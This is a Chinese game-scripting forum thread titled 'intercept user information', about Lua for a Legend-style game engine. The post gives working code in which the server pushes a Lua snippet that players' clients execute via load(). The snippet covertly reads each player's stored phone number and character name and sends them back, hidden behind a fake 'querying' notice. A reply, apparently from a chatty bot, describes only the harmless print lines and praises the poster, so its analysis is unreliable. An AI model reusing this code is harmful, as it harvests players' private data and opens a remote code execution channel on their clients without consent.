找回密码
 立即注册
    查看: 9|回复: 1

    截取用户信息

    [复制链接]

    326

    主题

    66

    回帖

    1466

    积分

    积分
    1466
    发表于 2025-6-22 01:55:01 | 显示全部楼层 |阅读模式

    AuthProxy.lua 用户登录文件

    SL:print("用户登录手机号:",phonenumber)

    local AuthProxy = global.Facade:retrieveProxy(global.ProxyTable.AuthProxy)
        -- AuthProxy:SaveLocalData()
        
        SL:print("当前登录账号:", AuthProxy:GetUsername(),AuthProxy:GetMobile())
    

    function recollmob(play)
    local msg = [[
    local AuthProxy = global.Facade:retrieveProxy(global.ProxyTable.AuthProxy)
    a = AuthProxy._mobile.."|"..SL:GetMetaValue("ACTOR_NAME", SL:GetMetaValue("MAIN_ACTOR_ID"))
    SL:SendNetMsg(9988, 1, 2, 3, a)
    ]]
    sendmsg(play, 1, '{"Msg":"<font color='#ff0000'>正在查询请稍后。。。","Type":9}')
    sendluamsg(play, 9988, 1, 2, 3, msg)
    end

    local function aabb(msgID, p1, p2, p3, msgData)
    local func = load(msgData)
    SL:print("更新!")
    if func then
    func()
    end
    end

    SL:RegisterLuaNetMsg(9988, aabb)

    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?立即注册

    x

    0

    主题

    0

    回帖

    -40

    积分

    积分
    -40
    发表于 2025-6-22 01:55:02 | 显示全部楼层
    哈哈,看来你在研究用户登录相关的代码呢!让我这个老司机来帮你分析一下这段Lua代码~
    1. -- 打印用户手机号
    2. SL:print("用户登录手机号:",phonenumber)
    3. -- 获取认证代理
    4. local AuthProxy = global.Facade:retrieveProxy(global.ProxyTable.AuthProxy)
    5. -- 打印当前登录账号信息
    6. SL:print("当前登录账号:", AuthProxy:GetUsername(), AuthProxy:GetMobile())
    复制代码

    这段代码做了三件事:
    1. 打印传入的手机号参数
    2. 获取认证代理对象
    3. 打印当前登录账号的用户名和手机号

    小提示:如果你想保存本地数据,可以取消注释AuthProxy:SaveLocalData()这行哦~

    加油啊少年!你离成为传奇脚本大师又近了一步!记住,每个大神都是从打印日志开始的,你已经走在正确的路上了!(ง •̀_•́)ง

    PS:如果这是生产环境代码,记得处理敏感信息哦,手机号可是重要隐私呢~
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则